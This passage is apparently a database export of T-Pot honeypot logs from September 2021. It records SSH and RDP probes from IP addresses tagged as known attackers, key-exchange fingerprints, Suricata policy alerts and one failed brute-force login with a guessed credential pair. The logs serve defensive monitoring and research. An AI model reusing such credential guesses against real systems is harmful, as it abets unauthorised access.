"192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28573	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:19:43.864959+03	2021-09-20 14:30:03.009524+03	{"_id": "BAbuAnwBvYTbRNuE6jBx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 310944598049335, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50008, "dest_port": 22, "timestamp": "2021-09-20T11:19:43.864959Z", "@timestamp": "2021-09-20T11:19:43.864Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28574	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:19:26.61005+03	2021-09-20 14:30:03.010524+03	{"_id": "yAbuAnwBvYTbRNuEpi9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:54770 (192.168.176.2:22) [session: 31ce5f7846f5]", "session": "31ce5f7846f5", "@version": "1", "protocol": "ssh", "src_port": 54770, "dest_port": 22, "timestamp": "2021-09-20T11:19:26.610050Z", "@timestamp": "2021-09-20T11:19:26.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28575	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:19:26.891685+03	2021-09-20 14:30:03.011523+03	{"_id": "zAbuAnwBvYTbRNuEpi9F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "31ce5f7846f5", "@version": "1", "timestamp": "2021-09-20T11:19:26.891685Z", "@timestamp": "2021-09-20T11:19:26.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28576	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:19:26.890966+03	2021-09-20 14:30:03.013524+03	{"_id": "zQbuAnwBvYTbRNuEqC8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1073260489740237, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54770, "dest_port": 22, "timestamp": "2021-09-20T11:19:26.890966Z", "@timestamp": "2021-09-20T11:19:26.890Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28577	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:19:26.891066+03	2021-09-20 14:30:03.014523+03	{"_id": "0AbuAnwBvYTbRNuEqS9C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54770, "dest_port": 22, "timestamp": "2021-09-20T11:19:26.891066", "@timestamp": "2021-09-20T11:19:26.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28578	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:19:28.095532+03	2021-09-20 14:30:03.016524+03	{"_id": "0QbuAnwBvYTbRNuEri8T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [art/art1234] failed", "session": "31ce5f7846f5", "@version": "1", "password": "art1234", "username": "art", "timestamp": "2021-09-20T11:19:28.095532Z", "@timestamp": "2021-09-20T11:19:28.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28579	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:39.695262+03	2021-09-20 14:30:03.017524+03	{"_id": "7gbuAnwBvYTbRNuE2S8R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "db6a11a83147", "@version": "1", "duration": 5.518803358078003, "timestamp": "2021-09-20T11:19:39.695262Z", "@timestamp": "2021-09-20T11:19:39.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28580	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:40.210684+03	2021-09-20 14:30:03.018524+03	{"_id": "8AbuAnwBvYTbRNuE2i_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:40.134543+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 843518395026831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 10132, "dest_port": 3389, "timestamp": "2021-09-20T11:19:40.210684Z", "@timestamp": "2021-09-20T11:19:40.210Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28581	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:19:43.59097+03	2021-09-20 14:30:03.030523+03	{"_id": "_wbuAnwBvYTbRNuE6C-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "735fd167003a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:43.590970Z", "@timestamp": "2021-09-20T11:19:43.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28582	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:19:43.867202+03	2021-09-20 14:30:03.031524+03	{"_id": "BQbuAnwBvYTbRNuE6jBx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:43.311863+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 310944598049335, "payload": "AAADzAYUZ+GGCjeOAU/k9Bd8vbqvdAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50008, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:43.867202Z", "@timestamp": "2021-09-20T11:19:43.867Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......g..\\n7..O...|...t...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
44254	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:14.416118+03	2021-09-20 16:45:01.417566+03	{"_id": "oQZqA3wBvYTbRNuE-6ac", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.session.params", "message": [], "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:14.416118Z", "@timestamp": "2021-09-20T13:35:14.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	KZ
28583	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:40.210684+03	2021-09-20 14:30:03.033523+03	{"_id": "7wbuAnwBvYTbRNuE2i_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:40.134543+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 843518395026831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 10132, "dest_port": 3389, "timestamp": "2021-09-20T11:19:40.210684Z", "@timestamp": "2021-09-20T11:19:40.210Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28584	87.251.67.120	109.199.241.180	Fatt	2021-09-20 14:19:40.210684+03	2021-09-20 14:30:03.034525+03	{"_id": "8wbuAnwBvYTbRNuE3C8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 10132, "dest_port": 3389, "timestamp": "2021-09-20T11:19:40.210684", "@timestamp": "2021-09-20T11:19:40.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28585	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:40.395674+03	2021-09-20 14:30:03.036524+03	{"_id": "-QbuAnwBvYTbRNuE3i-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:40.134543+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 843518395026831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 10132, "dest_port": 3389, "timestamp": "2021-09-20T11:19:40.395674Z", "@timestamp": "2021-09-20T11:19:40.395Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28586	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:19:43.588005+03	2021-09-20 14:30:03.037523+03	{"_id": "_QbuAnwBvYTbRNuE6C-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:50008 (192.168.176.2:22) [session: 735fd167003a]", "session": "735fd167003a", "@version": "1", "protocol": "ssh", "src_port": 50008, "dest_port": 22, "timestamp": "2021-09-20T11:19:43.588005Z", "@timestamp": "2021-09-20T11:19:43.588Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
